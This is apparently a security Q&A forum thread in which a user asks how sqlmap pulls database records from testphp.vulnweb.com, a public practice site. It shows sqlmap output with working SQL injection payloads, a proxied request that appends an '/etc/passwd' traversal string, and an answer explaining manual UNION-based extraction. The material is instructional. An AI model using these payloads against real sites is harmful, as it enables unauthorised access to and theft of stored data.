I am curious how sqlmap able to get all the info from the database? I am using burp as proxy to view all the request and response. From the response I couldn't see any information related to the database but the sqlmap able to show the related info. For example if I use sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump --proxy="", I am able to get the records from the acuart db in table users.

This is the output of sqlmap

[*] starting at 17:55:43

[17:55:43] [INFO] resuming back-end DBMS 'mysql' 
[17:55:48] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7494=7494

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cat=1 AND (SELECT 4839 FROM(SELECT COUNT(*),CONCAT(0x7176627171,(SELECT (CASE WHEN (4839=4839) THEN 1 ELSE 0 END)),0x716a717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627171,0x616b7441734e6d755964,0x716a717871),NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: cat=1 AND (SELECT * FROM (SELECT(SLEEP(15)))Swtz)
[17:55:49] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL 5.0
[17:55:49] [INFO] fetching columns for table 'users' in database 'acuart'
[17:55:49] [INFO] fetching entries for table 'users' in database 'acuart'
[17:55:49] [INFO] analyzing table dump for possible password hashes
Database: acuart
Table: users
[1 entry]
| cc                  | name       | cart | pass | uname | phone   | email           | address   |
| 1234-5678-2300-9000 | John Smith | 0    | test | test  | 2323345 | [email protected] | 21 street |

[17:55:49] [INFO] table 'acuart.users' dumped to CSV file '/root/.sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[17:55:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testphp.vulnweb.com'

[*] shutting down at 17:55:49

Request From the Proxy:

GET /listproducts.php?cat=1&MkFN%3D4313%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%20..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: sqlmap/1.0-dev-nongit-20150403 (http://sqlmap.org)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Pragma: no-cache
Cache-Control: no-cache,no-store

Response From the Proxy:

HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sun, 03 May 2015 13:40:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Length: 7011

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Sed aliquam sem ut arcu. Phasellus sollicitudin.
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Your explanation is very much appreciated. Thank you.

  • What exploitation technique does it use?
    – Gumbo
    May 3, 2015 at 8:06
  • Hi @Gumbo, I just updated the question with the output for your references.
    – overshadow
    May 3, 2015 at 10:58
  • So which of the mentioned techniques does it actually use for retrieval? Which payload pattern do you see in your proxy?
    – Gumbo
    May 3, 2015 at 11:10
  • Hi @ Gumbo, from my understanding, the sqlmap is injecting "1&MkFN%3D4313%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%20..%2F..%2F..%2Fetc%2Fpasswd" as payload in the parameter cat which can found from the request packet shown in question.
    – overshadow
    May 3, 2015 at 13:48
  • Since it’s doing a UNION query, you should be able to see the additionally selected data in the response.
    – Gumbo
    May 3, 2015 at 13:52

2 Answers 2


There seems to be something wrong with the request you posted. Since the vulnerable parameter is the "cat" parameter the "&" in your request separates the payload from the vulnerable parameter thus resulting in no information being revealed.

Let us do it right:

A request for:


reveals an error message stating that the number of columns is different from the number in the original query.

Error: The used SELECT statements have a different number of columns

By increasing the number of columns (adding comma-separated numbers) until the message disappears we determine that the number of columns must be 11.

That is because the request for the following will result in a valid page:


We see that a number of items was added to our page. The numbers 7, 2 and 9 are easily visible in each of the items. If we replace one of them with the information we want to receive (table_name from information_schema.tables) we get the information you were looking for:


(The users table is in the last item)

The same spots can be used to extract all the other info you are looking for. You just modify the column you want to receive and the table the data is in.

  • Thank you for you details explanation and example provided. It really helps me a lot. Thank you very much.
    – overshadow
    May 4, 2015 at 7:36

This thread is quite old, but for all those who want to know how sqlmap is working, use -v6 (verbosity level 6) while running sqlmap command.

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